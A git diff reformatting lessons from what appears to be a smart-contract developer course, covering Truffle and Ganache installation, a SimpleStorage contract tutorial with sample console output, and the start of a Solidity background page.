cannot be modified (only re-deployed). A common web development mantra is “move fast and break things”. This is not advisable in smart contract development due to this immutability. +- **High cost of failure** Typical software development that is this accessible does not involve potentially losing tremendous financial value. You're more likely to encounter this level of scrutiny and security in hardware and financial services programming. +- **Smart contracts information is public and anyone can call your public functions** Once your code is deployed and particularly if it starts accruing value, it will attract more opportunities for it to be hacked or misused. - * [Wikipedia: Smart Contracts,](https://en.wikipedia.org/wiki/Smart_contract){target=_blank} [Stack (Abstract data type)](https://en.wikipedia.org/wiki/Stack_(abstract_data_type)){target=_blank} -* [Video: Turing Complete (Computerphile)](https://www.youtube.com/watch?v=RPQD7-AOjMI){target=_blank} Video describing what it means for a language to be Turing complete, the difference between the Bitcoin execution environment and the EVM is the EVM is Turing complete. -* [Wiki: Ethereum Virtual Machine (Ethereum.org)](https://ethereum.org/en/developers/docs/evm/){target=_blank} A deep dive describing the EVM -* [Slides: Ethereum VM Illustrated (Takenobu T.)](https://takenobu-hs.github.io/downloads/ethereum_evm_illustrated.pdf){target=_blank} A slide deck describing the Ethereum VM. Many of the diagrams in this section are from this slide deck +In this section, we hope to both equip you with the ability to code smart contracts but also protect yourself and anyone interacting with your code. Most of all, we hope to instill in you a healthy sense of paranoia and fear about the code you deploy to public networks. However, we will also show you how to deal with this terror by protecting your code with smart and secure tools. - +## Additional Material +- [Wikipedia: Smart Contracts](https://en.wikipedia.org/wiki/Smart_contract){target=\_blank} +- [Stack (Abstract data type)](){target=\_blank} +- [Video: Turing Complete (Computerphile)](https://www.youtube.com/watch?v=RPQD7-AOjMI){target=\_blank} Video describing what it means for a language to be Turing complete, the difference between the Bitcoin execution environment and the EVM is the EVM is Turing complete. +- [Wiki: Ethereum Virtual Machine (Ethereum.org)](https://ethereum.org/en/developers/docs/evm/){target=\_blank} A deep dive describing the EVM +- [Slides: Ethereum VM Illustrated (Takenobu T.)](https://takenobu-hs.github.io/downloads/ethereum_evm_illustrated.pdf){target=\_blank} A slide deck describing the Ethereum VM. Many of the diagrams in this section are from this slide deck diff --git a/docs/S03-smart-contracts/M2-intro-to-truffle/L1-background/index.md b/docs/S03-smart-contracts/M2-intro-to-truffle/L1-background/index.md index 430f37e3..70845ae1 100644 --- a/docs/S03-smart-contracts/M2-intro-to-truffle/L1-background/index.md +++ b/docs/S03-smart-contracts/M2-intro-to-truffle/L1-background/index.md @@ -1,11 +1,6 @@ - - - # Introduction to Truffle Suite - - -Before we go into the Solidity section, we want to make sure you have a place where you can play around with the Solidity code you're starting to learn. Enter the Truffle Suite! +Before we go into the Solidity section, we want to make sure you have a place where you can play around with the Solidity code you're starting to learn. Enter [the Truffle Suite](https://www.trufflesuite.com){target=\_blank}! Truffle is an excellent tool to learn Solidity development but, as we'll show later in the course, it's also got advanced features. Don't be deceived by how easy it is! @@ -25,9 +20,9 @@ A good example of this is contract compilation (wherein you convert your high-le Additional reasons why developers might use Truffle to build their dapps include the following... -- Built-in support for compiling, deploying and linking your contract -- An automated contract testing framework built on Mocha and Chai -- A built-in console that allows you to directly interact with your compiled contracts +- Built-in support for compiling, deploying and linking your contract +- An automated contract testing framework built on Mocha and Chai +- A built-in console that allows you to directly interact with your compiled contracts This is just scratching the surface; as you’ll see when we dive-in, the Truffle Suite and the broader tooling ecosystem makes your life as a dapp developer both productive and fun! @@ -42,25 +37,25 @@ The Truffle Suite requires the following... - Node.js v12 or later - Windows, Linux or Mac OS X -Truffle also requires that you have a running Ethereum client which supports the standard JSON RPC API (which is nearly all of them). While there are many clients, the Truffle Suite also ships with Ganache, essentially a one-click EVM-based blockchain node for local testing. +Truffle also requires that you have a running Ethereum client which supports the standard JSON RPC API (which is nearly all of them). While there are many clients, the Truffle Suite also ships with [Ganache](https://www.trufflesuite.com/ganache){target=\_blank}, essentially a one-click EVM-based blockchain node for local testing. -For installing Node, we highly recommend using `nvm`. Follow the instructions [here](https://trufflesuite.com/docs/truffle/getting-started/installation/) to download Truffle! +For installing Node, we highly recommend using `nvm`. Follow the instructions [here](https://trufflesuite.com/docs/truffle/getting-started/installation/){target=\_blank} to download Truffle! After downloading Truffle, you can run Truffle from your command line anywhere on your machine. -If you are having trouble with installation, please post in [GitHub discussions](https://github.com/orgs/trufflesuite/discussions)! +If you are having trouble with installation, please post in [GitHub discussions](https://github.com/orgs/trufflesuite/discussions){target=\_blank}! ## Ganache -Ganache has the same requirements as Truffle (as specified above). In addition, it also comes in two flavors, both a standalone CLI for more intermediate-advanced users and a UI version which is great for users that are just starting out. It’s worth noting that a version of Ganache also ships directly with Truffle which can be instantiated with the `truffle develop` command. +Ganache has the same requirements as Truffle (as specified above). In addition, it also comes in two flavors, both a standalone CLI for more intermediate-advanced users and a UI version which is great for users that are just starting out. It’s worth noting that a version of Ganache also ships directly with Truffle which can be instantiated with the `truffle develop` command. Ganache CLI can be installed via the following: ```bash -$ npm install -g ganache +npm install -g ganache ``` -Ganache UI is available as download here. +Ganache UI is available as download [here](https://www.trufflesuite.com/ganache){target=\_blank}. Congratulations! You've just successfully installed Truffle and Ganache and are ready to get started developing. @@ -96,9 +91,9 @@ Out of the box, Truffle supports the following: - Solidity - Vyper -- Yul (experimental and not for beginners) - -At the time of writing, Solidity is by far the most popular language for writing smart contracts, and as with everything in the space, things have been moving rapidly and have now witnessed some major projects built using Vyper. +- [Yul](https://docs.soliditylang.org/en/v0.8.6/yul.html){target=\_blank} (experimental and not for beginners) + +At the time of writing, Solidity is by far the most popular language for writing smart contracts, and as with everything in the space, things have been moving rapidly and have now witnessed some major projects built using Vyper. ### Core Truffle Commands @@ -116,24 +111,25 @@ As you can likely infer from the commands, they map to key stages of the develop ## Truffle Boxes -Up until now we’ve been writing all the code, scripts, and config ourselves, and while this follows the mantra of “learning by doing”, there’s another great resource at your disposal and that is Truffle boxes. +Up until now we’ve been writing all the code, scripts, and config ourselves, and while this follows the mantra of “learning by doing”, there’s another great resource at your disposal and that is [Truffle boxes](https://www.trufflesuite.com/boxes){target=\_blank}. ### Learning with Truffle boxes -As per the description, boxes are “helpful boilerplates” that comprise of sample contracts, front-end code (using a variety of different frameworks), and applied boxes that focus on a particular theme or protocol such as L2. From a learning standpoint they’re a useful to way to augment your learning by immediately getting hands-on. +As per the description, boxes are “helpful boilerplates” that comprise of sample contracts, front-end code (using a variety of different frameworks), and applied boxes that focus on a particular theme or protocol such as L2. From a learning standpoint they’re a useful to way to augment your learning by immediately getting hands-on. At the time of writing, here are some good boxes: -- Layer 2 (examples targeting Optimism and Arbitrum) -- React box example +- Layer 2 (examples targeting [Optimism](https://www.trufflesuite.com/boxes/optimism){target=\_blank} and [Arbitrum](https://www.trufflesuite.com/boxes/arbitrum){target=\_blank}) +- [React box example](https://trufflesuite.com/boxes/react/){target=\_blank} Installing a box is simply a case of using the unbox command, for example: - $ truffle unbox optimism - +```bash +truffle unbox optimism +``` -Beyond this, simply follow along with the optimism box readme. You can find an example of how to use the Optimism box to build an NFT marketplace [here](https://trufflesuite.com/guides/nft-marketplace/). +Beyond this, simply follow along with the [optimism box readme](https://github.com/truffle-box/optimism-box){target=\_blank}. You can find an example of how to use the Optimism box to build an NFT marketplace [here](https://trufflesuite.com/guides/nft-marketplace/){target=\_blank}. We'll discuss boxes more when we dive deeper into developer tooling and more advanced Truffle, but feel free to explore available boxes. -In the next section, we'll take a simple smart contract and use it to explore the initial commands for developing using Truffle. \ No newline at end of file +In the next section, we'll take a simple smart contract and use it to explore the initial commands for developing using Truffle. diff --git a/docs/S03-smart-contracts/M2-intro-to-truffle/L2-intro-tutorial/index.md b/docs/S03-smart-contracts/M2-intro-to-truffle/L2-intro-tutorial/index.md index ce7f0bbf..da17dbf1 100644 --- a/docs/S03-smart-contracts/M2-intro-to-truffle/L2-intro-tutorial/index.md +++ b/docs/S03-smart-contracts/M2-intro-to-truffle/L2-intro-tutorial/index.md @@ -1,133 +1,126 @@ - Truffle Suite Deep Dive -======================= +# Truffle Suite Deep Dive - As with most things, the best way to learn is by doing, so without further ado let’s dive into a hands on example of using Truffle. +As with most things, the best way to learn is by doing, so without further ado let’s dive into a hands on example of using Truffle. - In this example we’ll be leveraging some of the core Truffle commands to build the decentralized equivalent of a [“Hello World!” program](https://en.wikipedia.org/wiki/%22Hello,_World!%22_program), aka `SimpleStorage`. As the name suggests, this example will provide a means of both storing some on-chain data (essentially state stored indefinitely on the blockchain) and subsequently retrieving this state. +In this example we’ll be leveraging some of the core Truffle commands to build the decentralized equivalent of a [“Hello World!” program](https://en.wikipedia.org/wiki/%22Hello,_World!%22_program){target=\_blank}, aka `SimpleStorage`. As the name suggests, this example will provide a means of both storing some on-chain data (essentially state stored indefinitely on the blockchain) and subsequently retrieving this state. - *Note: If you’re going to be following along, this example assumes you followed the steps last lesson to successfully install Truffle* +_Note: If you’re going to be following along, this example assumes you followed the steps last lesson to successfully install Truffle_ - Initialize an Empty Project ---------------------------- +## Initialize an Empty Project - Let’s begin by creating an empty project using the `init` command. In a new directory (e.g. “SimpleStorage”) and from your terminal, run the following commands. - -``` -$ truffle init simple-storage-demo +Let’s begin by creating an empty project using the `init` command. In a new directory (e.g. “SimpleStorage”) and from your terminal, run the following commands. + +```bash +truffle init simple-storage-demo cd simple-storage-demo ``` - Congratulations, you now have a bare bones project! Next up, let’s create a contract within which we’ll be able to store our SimpleStorage project’s code. +Congratulations, you now have a bare bones project! Next up, let’s create a contract within which we’ll be able to store our SimpleStorage project’s code. - Create a Contract ------------------ +## Create a Contract - Truffle provides a create command with which you can achieve this, although as we'll show later it’s often just as easy to create the file via your favorite editor environment. +Truffle provides a create command with which you can achieve this, although as we'll show later it’s often just as easy to create the file via your favorite editor environment. - -``` -$ truffle create contract SimpleStorage +```bash +truffle create contract SimpleStorage ``` - This will create a new Solidity (note that this is the default language) file, `SimpleStorage.sol` within your contracts directory. +This will create a new Solidity (note that this is the default language) file, `SimpleStorage.sol` within your contracts directory. - Using a code editor (we recommend VS Code), paste the following Solidity code into the `SimpleStorage.sol` file and save: +Using a code editor (we recommend VS Code), paste the following Solidity code into the `SimpleStorage.sol` file and save: - -``` +```javascript // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; -contract SimpleStorage { - uint storedData; - - function set(uint x) public { - storedData = x; - } - - function get() public view returns (uint) { - return storedData; +contract SimpleStorage { + uint storedData; + + function set(uint x) public { + storedData = x; + } + + function get() public view returns (uint) { + return storedData; } -} +} ``` - Sweet, your first contract! Now let’s try out the `compile` command we saw earlier. +Sweet, your first contract! Now let’s try out the `compile` command we saw earlier. - Compilation, baby! ------------------- +## Compilation, baby! - Running the `compile` command from your terminal like the following: +Running the `compile` command from your terminal like the following: - -``` - $ truffle compile - - Compiling your contracts... - =========================== - > Compiling ./contracts/SimpleStorage.sol - > Artifacts written to /Users/emilylin/dev/proof-of-existence/build/contracts - > Compiled successfully using: - - solc: 0.8.16+commit.07a7930e.Emscripten.clang +```bash +truffle compile + +Compiling your contracts... +=========================== +> Compiling ./contracts/SimpleStorage.sol +> Artifacts written to /Users/emilylin/dev/proof-of-existence/build/contracts +> Compiled successfully using: + - solc: 0.8.16+commit.07a7930e.Emscripten.clang ``` - Assuming all went smoothly, Truffle should have compiled your contract and added the resultant output (something referred to as build **artifacts** that we’ll explore in more detail later) to `build/contracts/SimpleStorage.json`. +Assuming all went smoothly, Truffle should have compiled your contract and added the resultant output (something referred to as build **artifacts** that we’ll explore in more detail later) to `build/contracts/SimpleStorage.json`. - Next up we’re going to explore deploying our contract to a simulation of a blockchain network using [Ganache.](https://www.trufflesuite.com/ganache) +Next up we’re going to explore deploying our contract to a simulation of a blockchain network using [Ganache](https://www.trufflesuite.com/ganache){target=\_blank}. - Migrating (or Deploying) Your Contract --------------------------------------- +## Migrating (or Deploying) Your Contract - So we’ve created and compiled a contract, but now we need somewhere to deploy it so we can begin testing. This is where Ganache comes in! +So we’ve created and compiled a contract, but now we need somewhere to deploy it so we can begin testing. This is where Ganache comes in! - As alluded to earlier, Ganache comes in a number of different flavors. For ease we’re going to start by using the version built directly into Truffle itself (more on standalone Ganache CLI and Ganache UI shortly). +As alluded to earlier, Ganache comes in a number of different flavors. For ease we’re going to start by using the version built directly into Truffle itself (more on standalone Ganache CLI and Ganache UI shortly). - To achieve this we can use Truffle’s `develop` command which both starts up a Ganache instance and provides us with an interactive REPL with which we can actually interact with our contracts. +To achieve this we can use Truffle’s `develop` command which both starts up a Ganache instance and provides us with an interactive REPL with which we can actually interact with our contracts. -``` - $ truffle develop +```bash +truffle develop ``` And you should see this, if successful: - -``` - Truffle Develop started at http://127.0.0.1:9545/ - - Accounts: - (0) 0x5ca1605d4671669b38f7e37c881ed996ede5ac68 - 
 - Private Keys: - (0) dd7a8c358901b0f572e461585c9ab27f92b24902c45859114776af12077cb208 - 
 - Mnemonic: cloth either reunion project inflict inside ghost welcome tip lemon again knee - - ⚠ Important ⚠ : This mnemonic was created for you by Truffle. It is not secure. - Ensure you do not use it on production blockchains, or else you risk losing funds. - - truffle(develop)> -``` - We’ll be glossing over the details of the above output for the moment, other than to say it gives us access to 10 pre-funded accounts (as a default) that we can leverage as a means of interacting contracts. +```bash +Truffle Develop started at http://127.0.0.1:9545/ - Before we actually migrate our contract we’ll need to create a migration script. This step enables you to granularly instruct Truffle how to migrate your contracts, including things like constructor arguments. +Accounts: +(0) 0x5ca1605d4671669b38f7e37c881ed996ede5ac68 +
 +Private Keys: +(0) dd7a8c358901b0f572e461585c9ab27f92b24902c45859114776af12077cb208 +
 +Mnemonic: cloth either reunion project inflict inside ghost welcome tip lemon again knee - In the migrations directory create a file called `1_deploy_contracts.js` and copy into that file the following: +⚠ Important ⚠ : This mnemonic was created for you by Truffle. It is not secure. +Ensure you do not use it on production blockchains, or else you risk losing funds. - +truffle(develop)> ``` + +We’ll be glossing over the details of the above output for the moment, other than to say it gives us access to 10 pre-funded accounts (as a default) that we can leverage as a means of interacting contracts. + +Before we actually migrate our contract we’ll need to create a migration script. This step enables you to granularly instruct Truffle how to migrate your contracts, including things like constructor arguments. + +In the migrations directory create a file called `1_deploy_contracts.js` and copy into that file the following: + +```javascript var SimpleStorage = artifacts.require('SimpleStorage'); -module.exports = function(deployer) { +module.exports = function(deployer) { deployer.deploy(SimpleStorage); -}; +}; ``` - Now that we have a migration script ready to go we can migrate as follows. Since we’re doing this migration from the Truffle console we started with `truffle develop`, you can actually omit `truffle` from your command and just run: +Now that we have a migration script ready to go we can migrate as follows. Since we’re doing this migration from the Truffle console we started with `truffle develop`, you can actually omit `truffle` from your command and just run: +```bash +truffle(develop)> migrate ``` -$ truffle(develop)> migrate -``` - Assuming all goes well, you should see the following: -``` + +Assuming all goes well, you should see the following: + +```bash 1_deploy_contracts.js ===================== @@ -152,191 +145,181 @@ $ truffle(develop)> migrate Summary ======= > Total deployments: 1 -> Final cost: 0.000424078875 ETH +> Final cost: 0.000424078875 ETH ``` - - One of the key output values from the above is the contract address (`0xE30DdDe92C79830A93BAAa445Fb9755ED3Cb13eB` in the above example). As the name might suggest, this is the address of the deployed instance of contract and the means with how you’d reference it when sending future transactions. - Migrations is definitely more of a deeper topic that we’ll be covering more later. In the interim, more details on migrations can be found in Truffle’s documentation [here.](https://www.trufflesuite.com/docs/truffle/getting-started/running-migrations) +One of the key output values from the above is the contract address (`0xE30DdDe92C79830A93BAAa445Fb9755ED3Cb13eB` in the above example). As the name might suggest, this is the address of the deployed instance of contract and the means with how you’d reference it when sending future transactions. - Interacting with SimpleStorage ------------------------------- +Migrations is definitely more of a deeper topic that we’ll be covering more later. In the interim, more details on migrations can be found in Truffle’s documentation [here](https://www.trufflesuite.com/docs/truffle/getting-started/running-migrations){target=\_blank}. - Last but not least, let’s go ahead and actually interact with our freshly deployed `SimpleStorage` contract. +## Interacting with SimpleStorage - Ultimately, there’s a number of ways in which you can interact with on-chain contracts, but for the sake of ease in this instance we’ll be doing it directly from the Truffle console. +Last but not least, let’s go ahead and actually interact with our freshly deployed `SimpleStorage` contract. - Let’s create an instance of our deployed contract via the following. Note that behind the scenes, Truffle is referencing the build artifacts (which in turn store the aforementioned contract address), that's why this is an async JavaScript call. +Ultimately, there’s a number of ways in which you can interact with on-chain contracts, but for the sake of ease in this instance we’ll be doing it directly from the Truffle console. - -``` -$ truffle(develop)> let storage = await SimpleStorage.deployed() -``` - You can now interact via the returned `storage` object, for example. Let's do that now, but calling the `set` contract method, writing a new value in the contract state. As you’ll see, given this invocation results in a change of on-chain state, we actually get a transaction “receipt” returned. +Let’s create an instance of our deployed contract via the following. Note that behind the scenes, Truffle is referencing the build artifacts (which in turn store the aforementioned contract address), that's why this is an async JavaScript call. - -``` - $ truffle(develop)> await storage.set(42) - { - tx: '0x46e4bb35108e5ecf7ff656008295fda572a753476d5e04c286fcdb7868447dd6', - receipt: { - transactionHash: '0x46e4bb35108e5ecf7ff656008295fda572a753476d5e04c286fcdb7868447dd6', - transactionIndex: 0, - blockHash: '0x85dbdf5d71194cb0d841d58bbac283ccf078ce0ebe1c054c6c2ab76442459894', - blockNumber: 9, - from: '0x5ca1605d4671669b38f7e37c881ed996ede5ac68', - to: '0x524b2860a2489e385c5e12537f58d5a09a9d33ab', - ... - } +```bash +truffle(develop)> let storage = await SimpleStorage.deployed() ``` - And a drum roll for this last command! Run the following to get the originally stored number. (We can also explain the syntax a little bit, since it's a bit odd: We're creating a promise to deliver a big number, which will be our stored number.) +You can now interact via the returned `storage` object, for example. Let's do that now, but calling the `set` contract method, writing a new value in the contract state. As you’ll see, given this invocation results in a change of on-chain state, we actually get a transaction “receipt” returned. +```bash +truffle(develop)> await storage.set(42) +{ + tx: '0x46e4bb35108e5ecf7ff656008295fda572a753476d5e04c286fcdb7868447dd6', + receipt: { + transactionHash: '0x46e4bb35108e5ecf7ff656008295fda572a753476d5e04c286fcdb7868447dd6', + transactionIndex: 0, + blockHash: '0x85dbdf5d71194cb0d841d58bbac283ccf078ce0ebe1c054c6c2ab76442459894', + blockNumber: 9, + from: '0x5ca1605d4671669b38f7e37c881ed996ede5ac68', + to: '0x524b2860a2489e385c5e12537f58d5a09a9d33ab', +... +} ``` -$ truffle(develop)> (await storage.get()).toNumber() -42 + +And a drum roll for this last command! Run the following to get the originally stored number. (We can also explain the syntax a little bit, since it's a bit odd: We're creating a promise to deliver a big number, which will be our stored number.) + +```bash +truffle(develop)> (await storage.get()).toNumber() +42 ``` - Congratulations! You’ve now just created, deployed, and interacted with your very first smart contract using the Truffle Suite. Next, we're going to walkthrough how to use Ganache GUI. +Congratulations! You’ve now just created, deployed, and interacted with your very first smart contract using the Truffle Suite. Next, we're going to walkthrough how to use Ganache GUI. - Ganache GUI ------------ +## Ganache GUI - Ganache UI can be really helpful for folks new to smart contract development. Due to its visual nature, it’s a great way to familiarize yourself with all the core constructs of an EVM-based blockchain and help move past that stage of “not knowing what you don’t know”. It’s fully cross-platform and available to download [here.](https://www.trufflesuite.com/ganache) +Ganache UI can be really helpful for folks new to smart contract development. Due to its visual nature, it’s a great way to familiarize yourself with all the core constructs of an EVM-based blockchain and help move past that stage of “not knowing what you don’t know”. It’s fully cross-platform and available to download [here](https://www.trufflesuite.com/ganache){target=\_blank}. - ![image of ganache GUI](../../../img/S03/ganache-1.png) +![image of ganache GUI](../../../img/S03/ganache-1.png) - As you can seen in the above screenshot, it has tabs for all the major constructs including accounts, blocks, transactions, contracts, and events. It also starts it’s own chain instance on port `7545` (note that by default `truffle develop` starts on `9545` and `ganache` on `8545`). +As you can seen in the above screenshot, it has tabs for all the major constructs including accounts, blocks, transactions, contracts, and events. It also starts it’s own chain instance on port `7545` (note that by default `truffle develop` starts on `9545` and `ganache` on `8545`). - To best see Ganache UI in action, let’s try deploying the same SimpleStorage (with a few small enhancements) contract from the previous exercise to the chain instance it instantiates. +To best see Ganache UI in action, let’s try deploying the same SimpleStorage (with a few small enhancements) contract from the previous exercise to the chain instance it instantiates. - ### Creating a Workspace +### Creating a Workspace - Upon opening Ganache UI, the first screen you should see is shown below. Select "New Workspace>> Ethereum" (depending on your version you should also see the Corda and Filecoin flavors listed in the dropdown). +Upon opening Ganache UI, the first screen you should see is shown below. Select "New Workspace>> Ethereum" (depending on your version you should also see the Corda and Filecoin flavors listed in the dropdown). - ![Workspace section of Ganache](../../../img/S03/ganache-2.png) +![Workspace section of Ganache](../../../img/S03/ganache-2.png) - From here, you’ll be presented with a file picker wherein you can navigate to the project we created earlier and select the `truffle-config.js` file. +From here, you’ll be presented with a file picker wherein you can navigate to the project we created earlier and select the `truffle-config.js` file. - All going well you should be presented with the accounts screen we saw earlier. Feel free to take a browse through the tabs to begin familiarizing yourself. +All going well you should be presented with the accounts screen we saw earlier. Feel free to take a browse through the tabs to begin familiarizing yourself. - ### Migrating our contracts to Ganache UI +### Migrating our contracts to Ganache UI - Next up we’re going to migrate our contracts (with a few twists) to the chain instance instantiated by Ganache UI on port `7545`. This will give us a great way to visually inspect what's happening not only on our testnet, but also with the contract itself, as you'll see in a moment. +Next up we’re going to migrate our contracts (with a few twists) to the chain instance instantiated by Ganache UI on port `7545`. This will give us a great way to visually inspect what's happening not only on our testnet, but also with the contract itself, as you'll see in a moment. - Before we can migrate, we’ll need to update our `truffle-config.js` file to include the new network as a destination. Because we used `truffle init` to create our project, it handily includes a number of commented destinations under the `networks` entry. As such you’ll be able to scroll down and uncomment (currently lines 67-70 at the time of writing). Note that we have to change `port` to 7545 +Before we can migrate, we’ll need to update our `truffle-config.js` file to include the new network as a destination. Because we used `truffle init` to create our project, it handily includes a number of commented destinations under the `networks` entry. As such you’ll be able to scroll down and uncomment (currently lines 67-70 at the time of writing). Note that we have to change `port` to 7545 - -``` - development: { +```javascript + development: { host: "127.0.0.1", port: 7545, network_id: "*", - }, + }, ``` - Awesome, we now have a new network we can migrate to! For reference, this same principle applies when migrating to public networks (such as testnets or mainnet; the Ethereum of equivalent of staging and production environments). - By default, truffle will migrate to the `development` network. If you do not want to use the development network, you can specify an alternative network using `--network `. +Awesome, we now have a new network we can migrate to! For reference, this same principle applies when migrating to public networks (such as testnets or mainnet; the Ethereum of equivalent of staging and production environments). -``` -$ truffle migrate +By default, truffle will migrate to the `development` network. If you do not want to use the development network, you can specify an alternative network using `--network `. + +```bash +truffle migrate ``` - Assuming this ran successfully, you’ll now see some corresponding activity in Ganache UI. Of note are the transactions listed under the "Transactions" tab and all the contract information (such as storage, etc) surfaced under the "Contracts" tab. This is a really helpful feature of Truffle and Ganache: the integration of both the testnet environment and smart contract values, updated dynamically. To have all this visually is really powerful for developing and debugging a contract. +Assuming this ran successfully, you’ll now see some corresponding activity in Ganache UI. Of note are the transactions listed under the "Transactions" tab and all the contract information (such as storage, etc) surfaced under the "Contracts" tab. This is a really helpful feature of Truffle and Ganache: the integration of both the testnet environment and smart contract values, updated dynamically. To have all this visually is really powerful for developing and debugging a contract. - ![Transaction information on Ganache GUI](../../../img/S03/ganache-3.png) +![Transaction information on Ganache GUI](../../../img/S03/ganache-3.png) - Note the `Storage` (state) section in our "Contracts" section: +Note the `Storage` (state) section in our "Contracts" section: - ![Contract information on Ganache GUI](../../../img/S03/ganache-4.png) +![Contract information on Ganache GUI](../../../img/S03/ganache-4.png) - Last, let’s update our contract to include an event that is emitted every time a new value is set (we'll learn about [events](https://medium.com/linum-labs/everything-you-ever-wanted-to-know-about-events-and-logs-on-ethereum-fec84ea7d0a5) in more detail later in this section). Copy and paste the following over your existing SimpleStorage.sol. +Last, let’s update our contract to include an event that is emitted every time a new value is set (we'll learn about [events](https://medium.com/linum-labs/everything-you-ever-wanted-to-know-about-events-and-logs-on-ethereum-fec84ea7d0a5){target=\_blank} in more detail later in this section). Copy and paste the following over your existing SimpleStorage.sol. -``` +```javascript // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; -contract SimpleStorage { - uint storedData; - - event setEvent(uint newValue); - - function set(uint x) public { - storedData = x; - emit setEvent(x); - } - - function get() public view returns (uint) { - return storedData; +contract SimpleStorage { + uint storedData; + + event setEvent(uint newValue); + + function set(uint x) public { + storedData = x; + emit setEvent(x); } -} + + function get() public view returns (uint) { + return storedData; + } +} ``` Now, we will migrate our contract again! Note that `migrate` also runs `compile`. -``` -$ truffle migrate +```bash +truffle migrate ``` - Let’s now jump back into the Truffle console, this time using the `console` command (vs `develop` which also spins up a ganache instance, which would be redundant this time). Again, by default, Truffle will use the `development` network specified in your config. +Let’s now jump back into the Truffle console, this time using the `console` command (vs `develop` which also spins up a ganache instance, which would be redundant this time). Again, by default, Truffle will use the `development` network specified in your config. - -``` -$ truffle console +```bash +truffle console ``` - Like earlier, we can now send the following to set the value within our SimpleStorage. +Like earlier, we can now send the following to set the value within our SimpleStorage. - -``` - $ let contract = await SimpleStorage.deployed() - $ contract.set(888) +```javascript +let contract = await SimpleStorage.deployed() +contract.set(888) ``` - If all has been successful, you’ll now see both a reference to `setEvent` in the logged output. In addition, you’ll also be able to navigate to the events tab within Ganache UI and also see it there. - - Ganache CLI ------------ - Ganache CLI is the standalone version of the simulation blockchain built into truffle, it is for folks who are comfortable with the command line and desires full control of thier development blockchain. The latest Ganache CLI version 7 comes with some exiting new features and improvements/bug fixes (discussing these new features and improvements is beyond the scope of this material but if you're curious to dig in, you can start [here](https://trufflesuite.com/blog/introducing-ganache-7). - - To get started Ganache CLI, you need to have Node.js >= v12.0.0 and NPM >= 6.4.1 installed on your computer. See [here](https://nodejs.org/en/download) to download the latest version for your operating system. With the supported versions of Node.js and NPM installed, you can install Ganache CLI by running `npm install ganache --global`. - - Once installed, start Ganache CLI with the command `ganache`. This is similar to running `truffle develop`. Your command line should look like this: - - ![image](https://user-images.githubusercontent.com/89709023/150743445-7154ab34-ebe0-45f6-a268-fde80f539557.png) - - As usual, you are provided with 10 pre-funded account for interacting with your smart contracts. - - ### Migrating our contracts to Ganache CLI - - Migrating contracts to Ganache CLI is very similar to how its done using Ganache GUI as explained above, the only difference is you will have to update the network in `truffle-config.js` to use port `8545` instead. - - ```javascript - development: { - host: "127.0.0.1", - port: 8545, - network_id: "*", - }, -``` +If all has been successful, you’ll now see both a reference to `setEvent` in the logged output. In addition, you’ll also be able to navigate to the events tab within Ganache UI and also see it there. -Now run `truffle migrate` to start the migration process. +## Ganache CLI + +Ganache CLI is the standalone version of the simulation blockchain built into truffle, it is for folks who are comfortable with the command line and desires full control of their development blockchain. The latest Ganache CLI version 7 comes with some exiting new features and improvements/bug fixes (discussing these new features and improvements is beyond the scope of this material but if you're curious to dig in, you can start [here](https://trufflesuite.com/blog/introducing-ganache-7){target=\_blank}. + +To get started Ganache CLI, you need to have Node.js >= v12.0.0 and NPM >= 6.4.1 installed on your computer. See [here](https://nodejs.org/en/download){target=\_blank} to download the latest version for your operating system. With the supported versions of Node.js and NPM installed, you can install Ganache CLI by running `npm install ganache --global`. + +Once installed, start Ganache CLI with the command `ganache`. This is similar to running `truffle develop`. Your command line should look like this: + +![image](https://user-images.githubusercontent.com/89709023/150743445-7154ab34-ebe0-45f6-a268-fde80f539557.png) + +As usual, you are provided with 10 pre-funded account for interacting with your smart contracts. +### Migrating our contracts to Ganache CLI - Conclusion ----------- +Migrating contracts to Ganache CLI is very similar to how its done using Ganache GUI as explained above, the only difference is you will have to update the network in `truffle-config.js` to use port `8545` instead. + +```javascript + development: { + host: "127.0.0.1", + port: 8545, + network_id: "*", + }, +``` + +Now run `truffle migrate` to start the migration process. - Great! You’ve now successfully familiarized yourself with Ganache UI and in doing so, hopefully got a little more comfortable with both some of the core Ethereum constructs and the basic elements in the development lifecycle. +## Conclusion - We know this may be a bit out of your comfort zone, but now that you have a basic understanding of Truffle, you'll be able to start playing around with the Solidity we're going to start learning next! +Great! You’ve now successfully familiarized yourself with Ganache UI and in doing so, hopefully got a little more comfortable with both some of the core Ethereum constructs and the basic elements in the development lifecycle. - After we go through Solidity fundamentals and Security, we're going to dive deeper into elements of development on Truffle so you can feel even more confident and capable as a developer. +We know this may be a bit out of your comfort zone, but now that you have a basic understanding of Truffle, you'll be able to start playing around with the Solidity we're going to start learning next! - Before all that, though, we want to introduce one more tool to help you play around with Solidity and other smart contract development languages: [Remix.](https://remix.ethereum.org) +After we go through Solidity fundamentals and Security, we're going to dive deeper into elements of development on Truffle so you can feel even more confident and capable as a developer. - Additional Material -------------------- +Before all that, though, we want to introduce one more tool to help you play around with Solidity and other smart contract development languages: [Remix](https://remix.ethereum.org){target=\_blank}. -* [Docs: Truffle Suite](https://trufflesuite.com/docs/truffle/) -* [Web3 Unleashed](https://trufflesuite.com/unleashed/) is a series dedicated towards building various dapps and talking with industry experts about the latest in web3 development. +## Additional Material - +- [Docs: Truffle Suite](https://trufflesuite.com/docs/truffle/){target=\_blank} +- [Web3 Unleashed](https://trufflesuite.com/unleashed/){target=\_blank} is a series dedicated towards building various dapps and talking with industry experts about the latest in web3 development. diff --git a/docs/S03-smart-contracts/M2-solidity/L1-background-context/index.md b/docs/S03-smart-contracts/M2-solidity/L1-background-context/index.md index 00fa4328..3698c371 100644 --- a/docs/S03-smart-contracts/M2-solidity/L1-background-context/index.md +++ b/docs/S03-smart-contracts/M2-solidity/L1-background-context/index.md @@ -1,73 +1,73 @@ - Solidity Background and Context -=============================== +# Solidity Background and Context - ![solidity logo](../../../img/S03/solidity-logo-2.png) +![solidity logo](../../../img/S03/solidity-logo-2.png) - Solidity is "an object-oriented, high-level language for implementing smart contracts...programs which govern the behaviour of accounts within the Ethereum state” ([source](https://docs.soliditylang.org/en/latest/){target=_blank}). While a few smart contract programming languages have developed over the years, Solidity remains the most dominant one. +Solidity is "an object-oriented, high-level language for implementing smart contracts...programs which govern the behavior of accounts within the Ethereum state” ([source](https://docs.soliditylang.org/en/latest/){target=\_blank}). While a few smart contract programming languages have developed over the years, Solidity remains the most dominant one. - As we mentioned earlier, Solidity 